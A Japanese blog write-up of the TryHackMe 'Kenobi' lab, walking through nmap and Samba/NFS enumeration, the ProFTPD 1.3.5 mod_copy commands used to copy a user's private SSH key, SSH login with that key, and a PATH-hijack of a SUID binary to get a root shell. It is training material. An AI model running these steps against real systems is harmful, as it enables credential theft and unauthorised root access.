🍣

フラグ獲得までTryHack "Kenobi"

2022/09/20に公開

タイトルの元ネタはStarWarsの”Obi-Wan Kenobi”というキャラクターみたいです。StarWars観たことないので知りませんが。。なぜこのタイトルがついているかもわかりません。さておき、今回もフラグ獲得目指していきます。

ターゲットマシン

OS:ubuntu
IPaddress:10.10.98.86

攻撃マシン

OS:kali linux

Task1:Deploy the vulnerable machine

まず、最初はいつもの通りポートスキャンを実行します。

─$  nmap -Pn -T4 -A 10.10.98.86
Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-09-01 07:56 EDT
Nmap scan report for 10.10.98.86
Host is up (0.25s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/admin.html
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      35679/tcp6  mountd
|   100005  1,2,3      40627/udp6  mountd
|   100005  1,2,3      44937/tcp   mountd
|   100005  1,2,3      57586/udp   mountd
|   100021  1,3,4      33087/tcp6  nlockmgr
|   100021  1,3,4      33609/tcp   nlockmgr
|   100021  1,3,4      38380/udp6  nlockmgr
|   100021  1,3,4      41089/udp   nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2022-09-01T11:57:05
|_  start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\\x00
|   Domain name: \\x00
|   FQDN: kenobi
|_  System time: 2022-09-01T06:57:05-05:00

-A : サービスのバージョン検知

Openになっているポート数は7つありました。また、-Aオプションでサービスのバージョンを検知しています。今回のこのSambaというサービスを利用してターゲットマシンにアクセスをしていきます。

Sambaについて

Sambaは、LinuxやBSDなどのUNIX系OSをWindows Networkに参加させるためのソフトウェアです。Sambaを利用すると、Linuxなどのマシンに、Windows Networkを経由したファイルサーバ、プリンタサーバ、ドメイン参加機能、ドメインコントローラ機能などを持たせることができます。
https://linuc.org/study/knowledge/491/

今回のマシン攻略では、SambaのLinuxとWindowsとの間でのファイル共有機能を使っていきます。

Task2:Enumerating Samba for shares

Sambaのより詳細な探索を行います。今回はNSE(Nmap Script Engine)を使います。

使うスクリプトは”smb-enum-shares.nse”,”smb-enum-users.nse”の2つです。ファイルは、/usr/share/nmap/scripts配下にあります。このディレクトリには他にもNSEのスクリプトが多数あります。

└─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.98.86
Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-09-01 08:02 EDT
Nmap scan report for 10.10.98.86
Host is up (0.35s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\\\10.10.98.86\\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\\\10.10.98.86\\anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\\home\\kenobi\\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\\\10.10.98.86\\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\\var\\lib\\samba\\printers
|     Anonymous access: <none>
|_    Current user access: <none>

IPC$,anonymous,print$の3つの共有ディレクトリが見つかりました。次に、anonymousに接続して探索を続けます。smbclient というコマンドを実行します。

└─$ smbclient //10.10.98.86/anonymous
Password for [WORKGROUP\\kali]:
Try "help" to get a list of possible commands.
smb: \\>

ls を実行すると、log.txtの存在がわかります。

smbget コマンドでlog.txtファイルを取得します。

smb: \\> ls
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

                9204224 blocks of size 1024. 6877104 blocks available
└─$ smbget -R smb://10.10.98.86/anonymous
Password for [kali] connecting to //10.10.98.86/anonymous:
Using workgroup WORKGROUP, user kali
smb://10.10.98.86/anonymous/log.txt
Downloaded 11.95kB in 11 seconds

log.txt1ファイルを取得できました。
中身を確認したいと思います。

└─$ cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |

log.txtに色んな内容が記載されていますが、注目すべきは上部に書かれている秘密鍵生成のログの部分です。秘密鍵が生成されたパス(/home/kenobi/.ssh/id_rsa)が記載されていることがわかります。この情報は使えそうです。

次は、最初のポートスキャンでopenになっていた111番ポートの探索を行います。

111/tcp  open  rpcbind     2-4 (RPC #100000)
2049/tcp open  nfs_acl     2-3 (RPC #100227)

NFSはRPCベースのファイル共有サービスになります。

これから、リモートからエクスポート可能なディレクトリを探索します。NSEを使ってnfsのスクリプト3つを実行します。

└─$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.98.86
Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-09-01 08:16 EDT
Nmap scan report for 10.10.98.86
Host is up (0.29s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount:
|_  /var *

/varディレクトリがエクスポートされていることがわかりましたので、Task3では/varディレクトリにアクセスしていきたいと思います。

Task3:Gain initial access with ProFtpd

Task1で21番ポートにはProFTPDというサービスが使われていることがわかっていますので、このProFTPD1.3.5のエクスプロイトを探します。

└─$ searchsploit ProFTPD 1.3.5
---------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)             | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                   | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)               | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                             | linux/remote/36742.txt
---------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

4つヒットしました。今回は36742のエクスプロイトに記載されているように、SITE CPFR,SITE CPTOコマンドを使って秘密鍵を共有ディレクトリにコピーして秘密鍵獲得をします。

詳細は下記リンクに記載されています。

https://www.exploit-db.com/exploits/36742

まず、ncコマンドを使ってターゲットマシンの21番ポートに接続します。そして、SITE CPFR,SITE CPTOコマンドを下記の通り実行して、秘密鍵を/varディレクトリにコピーさせます。

└─$ nc 10.10.98.86 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.98.86]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
QUIT
221 Goodbye.

ターゲットマシンの/varを攻撃マシンの/mnt/kenobiNFSにマウントし、ファイルを確認します。ちゃんとファイルがコピーされていそうです。

┌──(kali㉿kali)-[~]
└─$ sudo mount 10.10.98.86:/var /mnt/kenobiNFS

┌──(kali㉿kali)-[~]
└─$ ls -la /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root   4096 Sep  4  2019 .
drwxr-xr-x  4 root root   4096 Sep  1 08:32 ..
drwxr-xr-x  2 root root   4096 Sep  4  2019 backups
drwxr-xr-x  9 root root   4096 Sep  4  2019 cache
drwxrwxrwt  2 root root   4096 Sep  4  2019 crash
drwxr-xr-x 40 root root   4096 Sep  4  2019 lib
drwxrwsr-x  2 root staff  4096 Apr 12  2016 local
lrwxrwxrwx  1 root root      9 Sep  4  2019 lock -> /run/lock
drwxrwxr-x 10 root render 4096 Sep  4  2019 log
drwxrwsr-x  2 root mail   4096 Feb 26  2019 mail
drwxr-xr-x  2 root root   4096 Feb 26  2019 opt
lrwxrwxrwx  1 root root      4 Sep  4  2019 run -> /run
drwxr-xr-x  2 root root   4096 Jan 29  2019 snap
drwxr-xr-x  5 root root   4096 Sep  4  2019 spool
drwxrwxrwt  6 root root   4096 Sep  1 08:30 tmp
drwxr-xr-x  3 root root   4096 Sep  4  2019 www

秘密鍵を/homeにコピーしてきて、権限を600(所有者の読み書きを許可)に書き換えます。

これでssh接続の準備が整いました。

└─$ cp /mnt/kenobiNFS/tmp/id_rsa .

└─$ ls -la id_rsa
-rw-r--r-- 1 kali kali 1675 Sep  1 08:43 id_rsa

└─$ sudo chmod 600 id_rsa

ssh接続を行います。

└─$ ssh -i id_rsa kenobi@10.10.98.86
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  <https://help.ubuntu.com>
 * Management:     <https://landscape.canonical.com>
 * Support:        <https://ubuntu.com/advantage>

103 packages can be updated.
65 updates are security updates.

Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$

アクセス成功!

kenobi@kenobi:~$ cat /home/kenobi/user.txt

フラグ1つ目獲得!

Task4:Privilege Escalation with Path Variable Manipulation

先ほどkenobiユーザでssh接続できるようにして、1つ目のフラグを獲得できました。次はルート権限に昇格して2つ目のフラグ獲得を狙います。SUIDが設定されている実行ファイルを探します。

kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6

/usr/bin/menuというバイナリが一般には存在しない怪しいものになります。実行して確認してみます。

kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :

なるほど。。

数字を入力することで、その数字に割り当てられた機能を実行するようです。”1”を実行したときの動作はcurl -i localhostと同じ動きになっていて、内部でcurlコマンドが使われていると推測できます。ということで次は、シェルを実行する偽のcurlコマンドを作って、こちらを実行させることで権限昇格を行います。

  1. /bin/shを実行するcurlバイナリを作成
  2. curlコマンドに/bin/shを実行する一文を追記
  3. chmodで権限を読み書き可能に変更
  4. 偽のcurlバイナリを作ったディレクトリにPATHを通す
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ ls -la curl
-rwxrwxrwx 1 kenobi kenobi 8 Sep  1 07:59 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
# whoami
root
#

ROOT権限を取得できました。

# cat /root/root.txt

2つ目のフラグも獲得!!!

Discussion